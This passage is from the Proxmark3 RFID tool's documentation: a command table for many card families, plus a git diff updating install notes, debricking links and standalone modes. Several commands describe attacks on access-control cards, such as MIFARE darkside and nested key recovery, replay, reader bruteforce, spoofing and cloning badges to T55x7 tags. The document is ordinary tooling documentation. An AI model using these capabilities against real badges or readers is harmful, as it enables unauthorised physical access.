`|N |`read Block Data from authentication-required Service.` +|`hf felica rqspecver `|N |`acquire the version of card OS.` +|`hf felica resetmode `|N |`reset Mode to Mode 0.` +|`hf felica litesim `|N |` - only reply to poll request` +|`hf felica litedump `|N |`Wait for and try dumping FelicaLite` + + +### hf legic + + { LEGIC RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf legic help `|Y |`This help` +|`hf legic reader `|N |`LEGIC Prime Reader UID and tag info` +|`hf legic info `|N |`Display deobfuscated and decoded LEGIC Prime tag data` +|`hf legic dump `|N |`Dump LEGIC Prime tag to binary file` +|`hf legic restore `|N |`Restore a dump file onto a LEGIC Prime tag` +|`hf legic rdmem `|N |`Read bytes from a LEGIC Prime tag` +|`hf legic sim `|N |`Start tag simulator` +|`hf legic write `|N |`Write data to a LEGIC Prime tag` +|`hf legic crc `|Y |`Calculate Legic CRC over given bytes` +|`hf legic eload `|N |`Load binary dump to emulator memory` +|`hf legic esave `|N |`Save emulator memory to binary file` +|`hf legic list `|Y |`List LEGIC history` +|`hf legic wipe `|N |`Wipe a LEGIC Prime tag` + + +### hf iclass + + { ICLASS RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf iclass help `|Y |`This help` +|`hf iclass calcnewkey `|Y |`[options..] Calc diversified keys (blocks 3 & 4) to write new keys` +|`hf iclass chk `|Y |`[options..] Check keys` +|`hf iclass clone `|N |`[options..] Restore a dump file onto a iClass tag` +|`hf iclass decrypt `|Y |`[options..] Decrypt given block data or tag dump file` +|`hf iclass dump `|N |`[options..] Dump iClass tag to file` +|`hf iclass eload `|N |`[f ] Load iClass dump file into emulator memory` +|`hf iclass encrypt `|Y |`[options..] Encrypt given block data` +|`hf iclass info `|Y |` Tag information` +|`hf iclass list `|Y |` List iClass history` +|`hf iclass loclass `|Y |`[options..] Use loclass to perform bruteforce reader attack` +|`hf iclass lookup `|Y |`[options..] Uses authentication trace to check for key in dictionary file` +|`hf iclass managekeys `|Y |`[options..] Manage keys to use with iClass` +|`hf iclass permutekey `|N |` Permute function from 'heart of darkness' paper` +|`hf iclass rdbl `|N |`[options..] Read iClass block` +|`hf iclass reader `|N |` Act like an iClass reader` +|`hf iclass readtagfile `|Y |`[options..] Display content from tag dump file` +|`hf iclass replay `|N |` Read iClass tag via replay attack` +|`hf iclass sim `|N |`[options..] Simulate iClass tag` +|`hf iclass sniff `|N |` Eavesdrop iClass communication` +|`hf iclass wrbl `|N |`[options..] Write iClass block` + + +### hf mf + + { MIFARE RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf mf help `|Y |`This help` +|`hf mf list `|Y |`List MIFARE history` +|`hf mf darkside `|N |`Darkside attack` +|`hf mf nested `|N |`Nested attack` +|`hf mf hardnested `|Y |`Nested attack for hardened MIFARE Classic cards` +|`hf mf autopwn `|N |`Automatic key recovery tool for MIFARE Classic` +|`hf mf nack `|N |`Test for MIFARE NACK bug` +|`hf mf chk `|N |`Check keys` +|`hf mf fchk `|N |`Check keys fast, targets all keys on card` +|`hf mf decrypt `|Y |`[nt] [ar_enc] [at_enc] [data] - to decrypt sniff or trace` +|`hf mf rdbl `|N |`Read MIFARE classic block` +|`hf mf rdsc `|N |`Read MIFARE classic sector` +|`hf mf dump `|N |`Dump MIFARE classic tag to binary file` +|`hf mf restore `|N |`Restore MIFARE classic binary file to BLANK tag` +|`hf mf wrbl `|N |`Write MIFARE classic block` +|`hf mf setmod `|N |`Set MIFARE Classic EV1 load modulation strength` +|`hf mf auth4 `|N |`ISO14443-4 AES authentication` +|`hf mf sim `|N |`Simulate MIFARE card` +|`hf mf eclr `|N |`Clear simulator memory` +|`hf mf eget `|N |`Get simulator memory block` +|`hf mf eset `|N |`Set simulator memory block` +|`hf mf eload `|N |`Load from file emul dump` +|`hf mf esave `|N |`Save to file emul dump` +|`hf mf ecfill `|N |`Fill simulator memory with help of keys from simulator` +|`hf mf ekeyprn `|N |`Print keys from simulator memory` +|`hf mf csetuid `|N |`Set UID (magic chinese card)` +|`hf mf cwipe `|N |`Wipe card to default UID/Sectors/Keys` +|`hf mf csetblk `|N |`Write block (magic chinese card)` +|`hf mf cgetblk `|N |`Read block (magic chinese card)` +|`hf mf cgetsc `|N |`Read sector (magic chinese card)` +|`hf mf cload `|N |`Load dump (magic chinese card)` +|`hf mf csave `|N |`Save dump from magic chinese card into file or emulator` +|`hf mf mad `|N |`Checks and prints MAD` +|`hf mf ndef `|N |`Prints NDEF records from card` +|`hf mf ice `|N |`collect MIFARE Classic nonces to file` + + +### hf mfp + + { MIFARE Plus RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf mfp help `|Y |`This help` +|`hf mfp info `|N |`Info about Mifare Plus tag` +|`hf mfp wrp `|N |`Write Perso command` +|`hf mfp initp `|N |`Fills all the card's keys` +|`hf mfp commitp `|N |`Move card to SL1 or SL3 mode` +|`hf mfp auth `|N |`Authentication` +|`hf mfp rdbl `|N |`Read blocks` +|`hf mfp rdsc `|N |`Read sectors` +|`hf mfp wrbl `|N |`Write blocks` +|`hf mfp chk `|N |`Check keys` +|`hf mfp mad `|N |`Checks and prints MAD` +|`hf mfp ndef `|N |`Prints NDEF records from card` + + +### hf mfu + + { MIFARE Ultralight RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf mfu help `|Y |`This help` +|`hf mfu info `|N |`Tag information` +|`hf mfu dump `|N |`Dump Ultralight / Ultralight-C / NTAG tag to binary file` +|`hf mfu restore `|N |`Restore a dump onto a MFU MAGIC tag` +|`hf mfu eload `|N |`load Ultralight .eml dump file into emulator memory` +|`hf mfu rdbl `|N |`Read block` +|`hf mfu wrbl `|N |`Write block` +|`hf mfu cauth `|N |`Authentication - Ultralight C` +|`hf mfu setpwd `|N |`Set 3des password - Ultralight-C` +|`hf mfu setuid `|N |`Set UID - MAGIC tags only` +|`hf mfu sim `|N |`Simulate Ultralight from emulator memory` +|`hf mfu gen `|Y |`Generate 3des mifare diversified keys` +|`hf mfu pwdgen `|Y |`Generate pwd from known algos` +|`hf mfu otptear `|N |`Tear-off test on OTP bits` + + +### hf mfdes + + { MIFARE Desfire RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf mfdes help `|Y |`This help` +|`hf mfdes info `|N |`Tag information` +|`hf mfdes enum `|N |`Tries enumerate all applications` +|`hf mfdes auth `|N |`Tries a MIFARE DesFire Authentication` + + +### hf topaz + + { TOPAZ (NFC Type 1) RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf topaz help `|Y |`This help` +|`hf topaz reader `|N |`Act like a Topaz reader` +|`hf topaz sim `|N |` -- Simulate Topaz tag` +|`hf topaz sniff `|N |`Sniff Topaz reader-tag communication` +|`hf topaz raw `|N |`Send raw hex data to tag` +|`hf topaz list `|Y |`List Topaz history` + + +### hf fido + + { FIDO and FIDO2 authenticators... } + +|command |offline |description +|------- |------- |----------- +|`hf fido help `|Y |`This help.` +|`hf fido info `|N |`Info about FIDO tag.` +|`hf fido reg `|N |`FIDO U2F Registration Message.` +|`hf fido auth `|N |`FIDO U2F Authentication Message.` +|`hf fido make `|N |`FIDO2 MakeCredential command.` +|`hf fido assert `|N |`FIDO2 GetAssertion command.` + + +### hf thinfilm + + { Thinfilm RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf thinfilm help `|Y |`This help` +|`hf thinfilm info `|N |`Tag information` +|`hf thinfilm list `|Y |`List NFC Barcode / Thinfilm history - not correct` +|`hf thinfilm sim `|N |`Fake Thinfilm tag` + + +### hw + + { Hardware commands... } + +|command |offline |description +|------- |------- |----------- +|`hw help `|Y |`This help` +|`hw connect `|Y |`connect Proxmark3 to serial port` +|`hw dbg `|N |`Set Proxmark3 debug level` +|`hw detectreader `|N |`['l'|'h'] -- Detect external reader field (option 'l' or 'h' to limit to LF or HF)` +|`hw fpgaoff `|N |`Set FPGA off` +|`hw lcd `|N |` -- Send command/data to LCD` +|`hw lcdreset `|N |`Hardware reset LCD` +|`hw ping `|N |`Test if the Proxmark3 is responsive` +|`hw readmem `|N |`[address] -- Read memory at decimal address from flash` +|`hw reset `|N |`Reset the Proxmark3` +|`hw setlfdivisor `|N |`<19 - 255> -- Drive LF antenna at 12MHz/(divisor+1)` +|`hw setmux `|N |`Set the ADC mux to a specific value` +|`hw standalone `|N |`Jump to the standalone mode` +|`hw status `|N |`Show runtime status information about the connected Proxmark3` +|`hw tia `|N |`Trigger a Timing Interval Acquisition to re-adjust the RealTimeCounter divider` +|`hw tune `|N |`Measure antenna tuning` +|`hw version `|N |`Show version information about the connected Proxmark3` + + +### lf + + { Low frequency commands... } + +|command |offline |description +|------- |------- |----------- +|`lf help `|Y |`This help` +|`lf config `|N |`Get/Set config for LF sampling, bit/sample, decimation, frequency` +|`lf cmdread `|N |`Modulate LF reader field to send command before read (all periods in microseconds)` +|`lf read `|N |`Read LF tag` +|`lf search `|Y |`Read and Search for valid known tag (in offline mode it you can load first then search)` +|`lf sim `|N |`Simulate LF tag from buffer with optional GAP (in microseconds)` +|`lf simask `|N |`Simulate LF ASK tag from demodbuffer or input` +|`lf simfsk `|N |`Simulate LF FSK tag from demodbuffer or input` +|`lf simpsk `|N |`Simulate LF PSK tag from demodbuffer or input` +|`lf simbidir `|N |`Simulate LF tag (with bidirectional data transmission between reader and tag)` +|`lf sniff `|N |`Sniff LF traffic between reader and tag` +|`lf tune `|N |`Continuously measure LF antenna tuning` + + +### lf awid + + { AWID RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf awid help `|Y |`this help` +|`lf awid demod `|Y |`demodulate an AWID FSK tag from the GraphBuffer` +|`lf awid read `|N |`attempt to read and extract tag data` +|`lf awid clone `|N |`clone AWID tag to T55x7 (or to q5/T5555)` +|`lf awid sim `|N |`simulate AWID tag` +|`lf awid brute `|N |`Bruteforce card number against reader` +|`lf awid watch `|N |`continuously watch for cards. Reader mode` + + +### lf cotag + + { COTAG CHIPs... } + +|command |offline |description +|------- |------- |----------- +|`lf cotag help `|Y |`This help` +|`lf cotag demod `|Y |`Tries to decode a COTAG signal` +|`lf cotag read `|N |`Attempt to read and extract tag data` + + +### lf em + + { EM4X CHIPs & RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf em help `|Y |`This help` +|`lf em 410x_demod `|Y |`demodulate a EM410x tag from the GraphBuffer` +|`lf em 410x_read `|N |`attempt to read and extract tag data` +|`lf em 410x_sim `|N |`simulate EM410x tag` +|`lf em 410x_brute `|N |`reader bruteforce attack by simulating EM410x tags` +|`lf em 410x_watch `|N |`watches for EM410x 125/134 kHz tags (option 'h' for 134)` +|`lf em 410x_spoof `|N |`watches for EM410x 125/134 kHz tags, and replays them. (option 'h' for 134)` +|`lf em 410x_write `|N |`write EM410x UID to T5555(Q5) or T55x7 tag` +|`lf em 4x05_demod `|Y |`demodulate a EM4x05/EM4x69 tag from the GraphBuffer` +|`lf em 4x05_dump `|N |`dump EM4x05/EM4x69 tag` +|`lf em 4x05_wipe `|N |`wipe EM4x05/EM4x69 tag` +|`lf em 4x05_info `|N |`tag information EM4x05/EM4x69` +|`lf em 4x05_read `|N |`read word data from EM4x05/EM4x69` +|`lf em 4x05_write `|N |`write word data to EM4x05/EM4x69` +|`lf em 4x50_demod `|Y |`demodulate a EM4x50 tag from the GraphBuffer` +|`lf em 4x50_dump `|N |`dump EM4x50 tag` +|`lf em 4x50_read `|N |`read word data from EM4x50` +|`lf em 4x50_write `|N |`write word data to EM4x50` + + +### lf fdx + + { FDX-B RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf fdx help `|Y |`this help` +|`lf fdx demod `|Y |`demodulate a FDX-B ISO11784/85 tag from the GraphBuffer` +|`lf fdx read `|N |`attempt to read and extract tag data` +|`lf fdx clone `|N |`clone animal ID tag to T55x7 (or to q5/T5555)` +|`lf fdx sim `|N |`simulate Animal ID tag` + + +### lf gallagher + + { GALLAGHER RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf gallagher help `|Y |`This help` +|`lf gallagher demod `|Y |`Demodulate an GALLAGHER tag from the GraphBuffer` +|`lf gallagher read `|N |`Attempt to read and extract tag data from the antenna` +|`lf gallagher clone `|N |`clone GALLAGHER tag to T55x7` +|`lf gallagher sim `|N |`simulate GALLAGHER tag` + + +### lf gproxii + + { Guardall Prox II RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf gproxii help `|Y |`this help` +|`lf gproxii demod `|Y |`demodulate a G Prox II tag from the GraphBuffer` +|`lf gproxii read `|N |`attempt to read and extract tag data from the antenna` +|`lf gproxii clone `|N |`clone Guardall tag to T55x7` +|`lf gproxii sim `|N |`simulate Guardall tag` + + +### lf hid + + { HID RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf hid help `|Y |`this help` +|`lf hid demod `|Y |`demodulate HID Prox tag from the GraphBuffer` +|`lf hid read `|N |`attempt to read and extract tag data` +|`lf hid clone `|N |`clone HID tag to T55x7` +|`lf hid sim `|N |`simulate HID tag` +|`lf hid brute `|N |`bruteforce card number against reader` +|`lf hid watch `|N |`continuously watch for cards. Reader mode` + + +### lf hitag + + { Hitag CHIPs... } + +|command |offline |description +|------- |------- |----------- +|`lf hitag help `|Y |`This help` +|`lf hitag list `|N |`List Hitag trace history` +|`lf hitag info `|N |`Tag information` +|`lf hitag reader `|N |`Act like a Hitag Reader` +|`lf hitag sim `|N |`Simulate Hitag transponder` +|`lf hitag sniff `|N |`Eavesdrop Hitag communication` +|`lf hitag writer `|N |`Act like a Hitag Writer` +|`lf hitag cc `|N |`Test all challenges` + + +### lf indala + + { Indala RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf indala help `|Y |`this help` +|`lf indala demod `|Y |`demodulate an indala tag (PSK1) from GraphBuffer` +|`lf indala altdemod `|Y |`alternative method to Demodulate samples for Indala 64 bit UID (option '224' for 224 bit)` +|`lf indala read `|N |`read an Indala Prox tag from the antenna` +|`lf indala clone `|N |`clone Indala tag to T55x7` +|`lf indala sim `|N |`simulate Indala tag` + + +### lf io + + { ioProx RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf io help `|Y |`this help` +|`lf io demod `|Y |`demodulate an IOProx tag from the GraphBuffer` +|`lf io read `|N |`attempt to read and extract tag data` +|`lf io clone `|N |`clone IOProx tag to T55x7 (or to q5/T5555)` +|`lf io sim `|N |`simulate IOProx tag` +|`lf io watch `|N |`continuously watch for cards. Reader mode` + + +### lf jablotron + + { Jablotron RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf jablotron help `|Y |`This help` +|`lf jablotron demod `|Y |`Demodulate an Jablotron tag from the GraphBuffer` +|`lf jablotron read `|N |`Attempt to read and extract tag data from the antenna` +|`lf jablotron clone `|N |`clone jablotron tag to T55x7 (or to q5/T5555)` +|`lf jablotron sim `|N |`simulate jablotron tag` + + +### lf keri + + { KERI RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf keri help `|Y |`This help` +|`lf keri demod `|Y |`Demodulate an KERI tag from the GraphBuffer` +|`lf keri read `|N |`Attempt to read and extract tag data from the antenna` +|`lf keri clone `|N |`clone KERI tag to T55x7 (or to q5/T5555)` +|`lf keri sim `|N |`simulate KERI tag` + + +### lf nedap + + { Nedap RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf nedap help `|Y |`This help` +|`lf nedap demod `|Y |`Demodulate Nedap tag from the GraphBuffer` +|`lf nedap generate `|Y |`Generate Nedap bitstream in DemodBuffer` +|`lf nedap read `|N |`Attempt to read and extract tag data from the antenna` +|`lf nedap clone `|N |`Clone Nedap tag to T55x7` +|`lf nedap sim `|N |`Simulate Nedap tag` + + +### lf nexwatch + + { NexWatch RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf nexwatch help `|Y |`This help` +|`lf nexwatch demod `|Y |`Demodulate a NexWatch tag (nexkey, quadrakey) from the GraphBuffer` +|`lf nexwatch read `|N |`Attempt to Read and Extract tag data from the antenna` +|`lf nexwatch clone `|N |`clone NexWatch tag to T55x7` +|`lf nexwatch sim `|N |`simulate NexWatch tag` + + +### lf noralsy + + { Noralsy RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf noralsy help `|Y |`This help` +|`lf noralsy demod `|Y |`Demodulate an Noralsy tag from the GraphBuffer` +|`lf noralsy read `|N |`Attempt to read and extract tag data from the antenna` +|`lf noralsy clone `|N |`clone Noralsy tag to T55x7 (or to q5/T5555)` +|`lf noralsy sim `|N |`simulate Noralsy tag` + + +### lf motorola + + { Motorola RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf motorola help `|Y |`This help` +|`lf motorola demod `|Y |`Demodulate an MOTOROLA tag from the GraphBuffer` +|`lf motorola read `|N |`Attempt to read and extract tag data from the antenna` +|`lf motorola clone `|N |`clone MOTOROLA tag to T55x7` +|`lf motorola sim `|N |`simulate MOTOROLA tag` + + +### lf pac + + { PAC/Stanley RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf pac help `|Y |`This help` +|`lf pac demod `|Y |`Demodulate a PAC tag from the GraphBuffer` +|`lf pac read `|N |`Attempt to read and extract tag data from the antenna` +|`lf pac clone `|N |`clone PAC tag to T55x7` +|`lf pac sim `|N |`simulate PAC tag` + + +### lf paradox + + { Paradox RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf paradox help `|Y |`This help` +|`lf paradox demod `|Y |`Demodulate a Paradox FSK tag from the GraphBuffer` +|`lf paradox read `|N |`Attempt to read and Extract tag data from the antenna` +|`lf paradox clone `|N |`clone paradox tag to T55x7` +|`lf paradox sim `|N |`simulate paradox tag` + + +### lf pcf7931 + + { PCF7931 CHIPs... } + +|command |offline |description +|------- |------- |----------- +|`lf pcf7931 help `|Y |`This help` +|`lf pcf7931 read `|N |`Read content of a PCF7931 transponder` +|`lf pcf7931 write `|N |`Write data on a PCF7931 transponder.` +|`lf pcf7931 config `|Y |`Configure the password, the tags initialization delay and time offsets (optional)` + + +### lf presco + + { Presco RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf presco help `|Y |`This help` +|`lf presco read `|N |`Attempt to read and Extract tag data` +|`lf presco clone `|N |`clone presco tag to T55x7 (or to q5/T5555)` +|`lf presco sim `|N |`simulate presco tag` + + +### lf pyramid + + { Farpointe/Pyramid RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf pyramid help `|Y |`this help` +|`lf pyramid demod `|Y |`demodulate a Pyramid FSK tag from the GraphBuffer` +|`lf pyramid read `|N |`attempt to read and extract tag data` +|`lf pyramid clone `|N |`clone pyramid tag to T55x7 (or to q5/T5555)` +|`lf pyramid sim `|N |`simulate pyramid tag` + + +### lf securakey + + { Securakey RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf securakey help `|Y |`This help` +|`lf securakey demod `|Y |`Demodulate an Securakey tag from the GraphBuffer` +|`lf securakey read `|N |`Attempt to read and extract tag data from the antenna` +|`lf securakey clone `|N |`clone Securakey tag to T55x7` +|`lf securakey sim `|N |`simulate Securakey tag` + + +### lf ti + + { TI CHIPs... } + +|command |offline |description +|------- |------- |----------- +|`lf ti help `|Y |`This help` +|`lf ti demod `|Y |`Demodulate raw bits for TI-type LF tag from the GraphBuffer` +|`lf ti read `|N |`Read and decode a TI 134 kHz tag` +|`lf ti write `|N |`Write new data to a r/w TI 134 kHz tag` + + +### lf t55xx + + { T55xx CHIPs... } + +|command |offline |description +|------- |------- |----------- +|`lf t55xx help `|Y |`This help` +|`lf t55xx bruteforce `|N |` Simple bruteforce attack to find password` +|`lf t55xx config `|Y |`Set/Get T55XX configuration (modulation, inverted, offset, rate)` +|`lf t55xx chk `|N |`Check passwords from dictionary/flash` +|`lf t55xx clonehelp `|N |`Shows the available clone commands` +|`lf t55xx dangerraw `|N |`Sends raw bitstream. Dangerous, do not use!! b t ` +|`lf t55xx detect `|Y |`[1] Try detecting the tag modulation from reading the configuration block.` +|`lf t55xx deviceconfig `|N |`Set/Get T55XX device configuration (startgap, writegap, write0, write1, readgap` +|`lf t55xx dump `|N |`[password] [o] Dump T55xx card Page 0 block 0-7. Optional [password], [override]` +|`lf t55xx restore `|N |`f [p ] Restore T55xx card Page 0 / Page 1 blocks` +|`lf t55xx info `|Y |`[1] Show T55x7 configuration data (page 0/ blk 0)` +|`lf t55xx p1detect `|N |`[1] Try detecting if this is a t55xx tag by reading page 1` +|`lf t55xx protect `|N |`Password protect tag` +|`lf t55xx read `|N |`b p [password] [o] [1] -- Read T55xx block data. Optional [p password], [override], [page1]` +|`lf t55xx resetread `|N |`Send Reset Cmd then lf read the stream to attempt to identify the start of it (needs a demod and/or plot after)` +|`lf t55xx recoverpw `|N |`[password] Try to recover from bad password write from a cloner. Only use on PW protected chips!` +|`lf t55xx special `|N |`Show block changes with 64 different offsets` +|`lf t55xx trace `|Y |`[1] Show T55x7 traceability data (page 1/ blk 0-1)` +|`lf t55xx wakeup `|N |`Send AOR wakeup command` +|`lf t55xx wipe `|N |`[q] Wipe a T55xx tag and set defaults (will destroy any data on tag)` +|`lf t55xx write `|N |`b d p [password] [1] -- Write T55xx block data. Optional [p password], [page1]` + + +### lf viking + + { Viking RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf viking help `|Y |`This help` +|`lf viking demod `|Y |`Demodulate a Viking tag from the GraphBuffer` +|`lf viking read `|N |`Attempt to read and Extract tag data from the antenna` +|`lf viking clone `|N |`clone Viking tag to T55x7 (or to q5/T5555)` +|`lf viking sim `|N |`simulate Viking tag` + + +### lf visa2000 + + { Visa2000 RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf visa2000 help `|Y |`This help` +|`lf visa2000 demod `|Y |`demodulate an VISA2000 tag from the GraphBuffer` +|`lf visa2000 read `|N |`attempt to read and extract tag data from the antenna` +|`lf visa2000 clone `|N |`clone Visa2000 tag to T55x7 (or to q5/T5555)` +|`lf visa2000 sim `|N |`simulate Visa2000 tag` + + +### mem + + { Flash Memory manipulation... } + +|command |offline |description +|------- |------- |----------- +|`mem help `|Y |`This help` +|`mem spiffs `|N |`High level SPI FileSystem Flash manipulation [rdv40]` +|`mem spibaud `|N |`Set Flash memory Spi baudrate [rdv40]` +|`mem info `|N |`Flash memory information [rdv40]` +|`mem load `|N |`Load data into flash memory [rdv40]` +|`mem dump `|N |`Dump data from flash memory [rdv40]` +|`mem wipe `|N |`Wipe data from flash memory [rdv40]` + + +### reveng + + { CRC calculations from RevEng software } + +### sc + + { Smart card ISO-7816 commands... } + +|command |offline |description +|------- |------- |----------- +|`sc help `|Y |`This help` +|`sc list `|N |`List ISO 7816 history` +|`sc info `|N |`Tag information` +|`sc reader `|N |`Act like an IS07816 reader` +|`sc raw `|N |`Send raw hex data to tag` +|`sc upgrade `|Y |`Upgrade sim module firmware` +|`sc setclock `|N |`Set clock speed` +|`sc brute `|N |`Bruteforce SFI` + + +### script + + { Scripting commands } + +|command |offline |description +|------- |------- |----------- +|`script help `|Y |`This help` +|`script list `|Y |`List available scripts` +|`script run `|Y |` -- Execute a script` + + +### trace + + { Trace manipulation... } + +|command |offline |description +|------- |------- |----------- +|`trace help `|Y |`This help` +|`trace list `|Y |`List protocol data in trace buffer` +|`trace load `|Y |`Load trace from file` +|`trace save `|Y |`Save trace buffer to file` + + +### usart + + { USART commands... } + +|command |offline |description +|------- |------- |----------- +|`usart help `|Y |`This help` +|`usart btpin `|N |`Change BT add-on PIN` +|`usart btfactory `|N |`Reset BT add-on to factory settings` +|`usart tx `|N |`Send string over USART` +|`usart rx `|N |`Receive string over USART` +|`usart txrx `|N |`Send string over USART and wait for response` +|`usart txhex `|N |`Send bytes over USART` +|`usart rxhex `|N |`Receive bytes over USART` +|`usart config `|N |`Configure USART` + + +### wiegand + + { Wiegand format manipulation... } + +|command |offline |description +|------- |------- |----------- +|`wiegand help `|Y |`This help` +|`wiegand list `|Y |`List available wiegand formats` +|`wiegand encode `|Y |`Convert ` +|`wiegand decode `|Y |`Convert raw hex to wiegand format` + + diff --git a/doc/extensions_notes.md b/doc/extensions_notes.md index 41365849b..f42823d64 100644 --- a/doc/extensions_notes.md +++ b/doc/extensions_notes.md @@ -13,7 +13,8 @@ The Proxmark3 client uses a wide range of files. Here is a brief recap to get yo | .elf | binary proxmark3 device firmware file. | | .cmd | text file, contains proxmark3 client commands used to call client with -s | | .lua | text file, contains lua script to be run inside client. or called with -l | -| .pm3 | text file, with numbers ranging 0-255 or -127 - 128. Contains trace signal data for low frequency tags (data load) | +| .pm3 | text file, with numbers ranging 0-255 or -127 - 128. Contains trace signal data for low frequency tags (data load / data save) | +| .wav | binary file, PCM8 with samplerate 125000, one channel. (data save) | .trace | binary file, contains trace log data usually from high frequency tags. (hw trace load) | | .log | text file, our log file, contains the output from almost all commands you run inside Proxmark3 client | -| .history | text file, our command log file, contains the commands you ran inside Proxmark3 client | +| .history | text file, our command log file, contains the commands you ran inside Proxmark3 client | \ No newline at end of file diff --git a/doc/jtag_notes.md b/doc/jtag_notes.md index 8e31f1112..42001d91d 100644 --- a/doc/jtag_notes.md +++ b/doc/jtag_notes.md @@ -63,6 +63,9 @@ GND | 6 ## Third party notes on using a BusPirate * https://github.com/Proxmark/proxmark3/wiki/Debricking-Proxmark3-with-buspirate +* https://b4cktr4ck2.github.io/De-Brickify-Pm3-RDV2/ +* https://scund00r.com/all/rfid/2018/05/18/debrick-proxmark.html +* https://joanbono.github.io/PoC/Flashing_Proxmark3.html ## Third party notes on using a J-Link @@ -72,8 +75,6 @@ GND | 6 * http://www.lucasoldi.com/2017/01/17/unbrick-proxmark3-with-a-raspberry-pi-and-openocd/ -# Windows - ## Third party notes on using a J-Link on Windows * https://github.com/Proxmark/proxmark3/wiki/De-Bricking-Segger diff --git a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md index d56d1056c..30d4fbf54 100644 --- a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md @@ -28,27 +28,33 @@ sudo apt-get install --no-install-recommends git ca-certificates build-essential libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev ``` -If you don't need the graphical components of the Proxmark3 client, you can skip the installation of `qtbase5-dev`. +If you don't need the graphical components of the Proxmark3 client (such as in `hw tune`), you can skip the installation of `qtbase5-dev`. If you get some (non blocking) error at runtime such as _Gtk-Message: Failed to load module "canberra-gtk-module"_ you may have to install `libcanberra-gtk-module`. ## On ArchLinux ```sh -sudo pacman -Sy base-devel readline arm-none-eabi-gcc arm-none-eabi-newlib git --needed -``` -If you want graphical output (such as in `hw tune`): -```sh -sudo pacman -Su qt5-base +sudo pacman -Sy git base-devel readline arm-none-eabi-gcc arm-none-eabi-newlib qt5-base --needed ``` +If you don't need the graphical components of the Proxmark3 client (such as in `hw tune`), you can skip the installation of `qt5-base`. + ## On Fedora ```sh sudo dnf install git make gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel qt5-qtbase-devel libatomic ``` -If you don't need the graphical components of the Proxmark3 client, you can skip the installation of `qt5-qtbase-devel`. +If you don't need the graphical components of the Proxmark3 client (such as in `hw tune`), you can skip the installation of `qt5-qtbase-devel`. + +## On openSUSE + +```sh +sudo zypper install git patterns-devel-base-devel_basis gcc-c++ readline-devel cross-arm-none-gcc9 cross-arm-none-newlib-devel +``` + +If you don't need the graphical components of the Proxmark3 client (such as in `hw tune`), you can skip the installation of `libqt5-qtbase-devel`. # Clone the RRG/Iceman repository diff --git a/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md b/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md index f78016df9..76f5ee6f3 100644 --- a/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md @@ -9,7 +9,11 @@ For further questions about Mac & Homebrew, contact @Chrisfu (https://github.c 2. Tap this repo: `brew tap RfidResearchGroup/proxmark3` -3. Install Proxmark3: `brew install proxmark3` for stable release or `brew install --HEAD proxmark3` for latest non-stable from GitHub. +3. Install Proxmark3: + - (Optional) `export HOMEBREW_PROXMARK3_PLATFORM=xxxxxx` to specify [platform](https://github.com/RfidResearchGroup/proxmark3/blob/master/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md#platform), default value is `PM3RDV4` if none + - `brew install proxmark3` for stable release + - `brew install --HEAD proxmark3` for latest non-stable from GitHub (use this if previous command fails) + - `brew install --with-blueshark proxmark3` for blueshark support For more info, go to https://github.com/RfidResearchGroup/homebrew-proxmark3 diff --git a/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md b/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md index 3b0599de5..01b7d083a 100644 --- a/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md +++ b/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md @@ -73,13 +73,15 @@ Here are the supported values you can assign to `STANDALONE` in `Makefile.platfo |-----------------|----------------------------------------| | | No standalone mode | LF_SAMYRUN (def)| HID26 read/clone/sim - Samy Kamkar -| LF_ICERUN | standalone mode skeleton - iceman +| LF_ICERUN | standalone mode skeleton - Iceman | LF_PROXBRUTE | HID ProxII bruteforce - Brad Antoniewicz | LF_HIDBRUTE | HID corporate 1000 bruteforce - Federico dotta & Maurizio Agazzini | HF_YOUNG | Mifare sniff/simulation - Craig Young | HF_MATTYRUN | Mifare sniff/clone - Matías A. Ré Medina | HF_COLIN | Mifare ultra fast sniff/sim/clone - Colin Brigato | HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth storing in flashmem - Bogito +| HF_14ASNIFF | 14a sniff storing to flashmem - Micolous +| LF_ICEHID | LF HID collector to 